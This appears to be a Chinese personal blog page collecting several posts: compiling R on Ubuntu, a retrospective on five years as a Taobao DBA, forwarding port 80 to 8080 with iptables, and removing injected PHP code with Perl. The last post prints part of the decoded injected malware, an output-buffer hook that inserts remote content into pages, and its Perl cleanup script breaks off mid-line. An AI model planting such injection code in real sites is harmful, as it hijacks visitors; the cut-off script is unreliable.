在Ubuntu上编译安装R

R is a free software environment for statistical computing and graphic.

在Ubuntu上编译安装时有几个小问题,记录在此备查:

1.需要fortran compiler
下载完源码,解压后直接执行

./configure –prefix=/xxx –enable-R-shlib

报错:configure: error: No F77 compiler found
这是因为Ubuntu现在默认没有fortran编译器,需要手工装一个,比如gfortran:

sudo apt-get install gfortran

当然,编译还需要gcc等工具

sudo apt-get install build-essential

2.需要readline
如果系统中没有readline,继续configure还是报错:

configure: error: –with-readline=yes (default) and headers/libs are not available

两个选择,要么使用–with-readline=no去掉对readline的依赖,要么装一个:

sudo apt-get install readline-devel

3. 需要X11的headers/libs
继续configure,继续报错:

configure: error: –with-x=yes (default) and X11 headers/libs are no t available

好吧,缺的东西还真不少,还是两个选择,要么–with-x=no,要么把缺失的依赖补上:

sudo apt-get install libxt-dev

搞定, ./configure && make && make install,收工

$ ./R

R version 2.15.2 (2012-10-26) — “Trick or Treat”
Copyright (C) 2012 The R Foundation for Statistical Computing
ISBN 3-900051-07-0
Platform: x86_64-unknown-linux-gnu (64-bit)

R是自由软件,不带任何担保。
在某些条件下你可以将其自由散布。
用’license()’或’licence()’来看散布的详细条件。

R是个合作计划,有许多人为之做出了贡献.
用’contributors()’来看合作者的详细情况
用’citation()’会告诉你如何在出版物中正确地引用R或R程序包。

用’demo()’来看一些示范程序,用’help()’来阅读在线帮助文件,或
用’help.start()’通过HTML浏览器来看帮助文件。
用’q()’退出R.

偷懒的话,也可以直接安装编译好的包了,版本可能不是最新而已:

sudo apt-get install r-base

参考:http://rwiki.sciviews.org/doku.php?id=getting-started:installation:debian

时光荏苒,五年陈酿

2012.9.20,本来想说这一天没什么特别的,翻了一下万年历,居然还是国际爱牙日。上周体检的报告还没出来,但现场的结论是除了牙结石,其他都还好,去年体检的血压偏高/轻度脂肪肝/耳耵聍等问题,今年都消失了,看来要找个时间去尝试下洗牙,争取明年的体检结果能更健康点。

好吧,其实我是想说,这一天,终于成为了阿里巴巴五年陈。从进入淘宝的第一天,一年香,三年醇,五年陈的说法就一直萦绕在耳边。还记得一年香的时候礼物是一个印着小蚂蚁的杯子,貌似当年的蚂蚁已经进化成了如今的淘公仔,蚂蚁标记已经从各种地方慢慢消失。其实当年经常唱响的一首小蚂蚁大淘宝的歌依然还在记忆深处吟唱,那时候的淘宝真的非常草根,而今这种感觉可能随着时间感觉已经冲淡了不少。那时候的淘宝DBA团队,兵少而精,数据库都跑在高富帅的IOE(IBM小型机/Oracle数据库/EMC存储)上,现在回首整个就是一青葱岁月,但第一年的收获真的非常大,也经历过至今想起来还浑身冒冷汗的故障

在阿里有一种说法,经过三年的酿造以后,才是真正的阿里人。或许只有真正到了三年才能体会的这句话背后的意义。互联网是一个快速变化的行业,互联网的公司和团队,能保持三年的稳定就相当不容易了。所以在阿里呆上三年,大部分人可能都会碰到团队的变化,即使团队稳定,也会壮大许多了。经历过风雨,心态上才能真正的成熟。而我的三年醇记忆中最深的,则是淘宝和阿里妈妈的整合(2009.9.4)。在淘宝DBA团队按照舒适的节奏成长了两年,终于迎来了最大的一次变化,成立了大淘宝技术保障部,顶头老板换人了,同时也把还在稳步推进MySQL线上应用的团队节奏突然提高到了集团战略级的地位,也就是现在外面闹得沸沸扬扬的所谓“去IOE”。虽然这个事情有很多的争议,但从淘宝的发展历程来说,这个事情一定会发生,只是节奏的快慢而已。到2009年的时候,淘宝的数据库基本完成了垂直拆分,商品,交易,用户,店铺,评价,收藏,物流等核心业务都已经运行在单独的数据库,这得益于前台应用的服务化,每个数据库前面基本都有了自己的服务中心,其他业务则通过服务器中心和数据库交互,相当于在数据库前面加了一层业务中间层,这不但帮助数据库顺利完成了垂直化拆分,也为后面的水平拆分打下了基础。淘宝应用的服务化是个有着非常长远眼光的决策,直到今天,淘宝交易平台的主要架构依然受益于此。而这个服务化的实现,@毕玄 搞的HSF绝对功不可没。可能从今天很多架构师们的眼光来看,觉得有一些不便和缺点,但如果能真正的去理解当时淘宝的现状和业界技术的发展,相信不但能理解HSF的架构选择,也能够给HSF后续的发展做一些改进的建议。

翻了一下blog,发现最早一篇关于MySQL的文章是2008.3.14,非常简单,只是了解了下InnoDB引擎的一些参数,其实也差不多是这个时候,淘宝DBA团队开始研究引入MySQL作为Oracle数据库之外的另外一种选择,还记得第一个线上用MySQL的应用是淘宝画报(这个应用今年6月份已经下线,进化成了顽图)。当时对于使用MySQL在一些开发团队中还是有一些阻力的,还记得曾经有人问过,DBA都是做Oracle的,MySQL出了问题你们能搞定么?所以当时面向全国到处招有经验的MySQL DBA,也面试了不少,但是最后因为各种原因都没有进来,后来倒是一来二往都比较熟悉了,现在idata技术沙龙有很多朋友的支持,其中就有不少当年认识的朋友,哈哈。既然招不到MySQL高手,只好自己培养新生力量,于是,2008年应届生@陶方 成为第一个专职MySQL DBA,2009年应届生@苏普 也很快成为了主要力量,而老牌的Oracle DBA们也在迅速的转型,2009年的时候MySQL数据库已经初具规模了。另外,从2007年起就开始和当时的架构团队@菲青,@华黎 畅想的数据中间层TDDL终于也逐渐靠谱起来,虽然还没有真正成熟(在我的定义里,TDDL直到动态数据源稳定应用以后,才算是挠到痒处,当然,成熟不等于就完美了,直到今天还有值得改进的地方,尤其是对于DBA的运维简化方面),有了前面说的服务化,还有数据中间层,以及一年多MySQL线上运行的经验,才有了“去IOE”的基础,而“去IOE”的需要,除了成本节约,更重要的,是垂直拆分做到尽头以后,业务压力还是爆炸式增长带来的水平拆分的需要,以及淘宝整体对于开源的拥抱和投入。

到今年,“去IOE”整体上已经接近尾声,核心数据库系统已经全部跑在MySQL上,而且去年做为动作最大,压力最重的一年,同时还做到了线上数据库无P1级故障的100%可用(P2故障也只有1起),DBA团队和各兄弟团队一起付出了120%的努力,这绝对是值得骄傲的一件事情。有人说DBA不会写代码,算不得什么有技术含量的工作,这是把技术做了一个狭隘的定义。技术是要为业务目标服务的,运维,尤其是追求高可用性的运维,技术含量绝对不比写代码低,这只有真正的去做才能体会,隔岸观火指手画脚永远是容易的。当然,DBA不会写代码绝对也不是一件值得炫耀的事情。DBA团队必须要会写代码,尤其是运维上规模数据库的DBA团队,不会写代码,之后可能只能累死。作为公共服务部门,人数不可能随着业务开发人数的增长或者机器数据的增长而等比例扩充。为了应对机器的增长,需要运维规划化和自动化;为了应对开发人数的猛增,需要想办法做到平台化和自助化。而这些,都需要有有运维开发的能力。

进入到第五个年头,一直都在淘宝DBA团队,一起成长,一起战斗,在这里留下了太多的回忆,但天下没有不散的筵席。2012.6.1,经过一段时间的思考和纠结,这一次是创造变化,主动转岗到了一淘无线技术团队,放下了DBA的标签,到开发团队从头再来。还记得给@后羿 和@振飞 的转岗申请邮件是4.20发的,那天离五年陈刚好还有五个月。有一丝不舍,也有一点遗憾,没有在DBA团队站完五年的最后一般岗,但既然要迎接新的挑战,早一点进入前线也是值得付出这些代价的。加入无线近四个月来,五年前刚加入淘宝时的激情又开始回来,新的团队,新的同事,依然像五年前的淘宝一样,带着草根的气质,喜欢这种简单快乐。

时光荏苒,五年陈酿。依然在阿里,依然在战斗。上面只是记忆中留下的一鳞半爪,胡乱的从脑海中钻了出来,在这一刻,只有感动,无须感言。

Linux上eclipse本地跑web应用绑定80端口的问题

因为要在本地跑一个web application,使用eclipse的HSF Jetty插件绑定80端口不成功,8080端口则没有问题:

2012-09-17 11:36:43.470:WARN::failed SelectChannelConnector@0.0.0.0:80: java.net.SocketException: 权限不够
2012-09-17 11:36:43.473:WARN::failed Server@327ac9a7: java.net.SocketException: 权限不够
java.net.SocketException: 权限不够

1. 猜想有其他进程已经占用了80端口

$ sudo netstat -anpt | grep LISTEN

结果80端口是available的

2. Linux的问题?

好吧,想起来了,Linux下只有root用户才能绑定使用1024以下的端口。尝试用sudo eclipse启动IDE,然后编译,发现maven的本地库有些问题,偷个懒把原用户的本地库复制一份后正常

$cd /home/ningoo/.m2
$cp -r * /root/.m2

3. iptables神器

虽然sudo大法有效,感觉还是不太爽。于是神器iptables出场,设置将80端口转发到8080端口,这样eclipse中的jetty插件还是可以绑定在8080端口,/etc/hosts绑定本地到日常的域名也可以通过80端口自动转发,方便。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j REDIRECT --to-ports 8080

如果不需要转发了,通过以下命令清除设置

iptables -t nat -F PREROUTING
iptables -t nat -F OUTPUT

如果要保存iptables设置以便重启后生效,可以参考这里

用perl清理被注入代码的PHP文件

周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。

解码以后的代码为:


if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }

头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:


#!/usr/bin/perl
use File::Find;

sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";

print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/

注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^

无觅相关文章插件,快速提升流量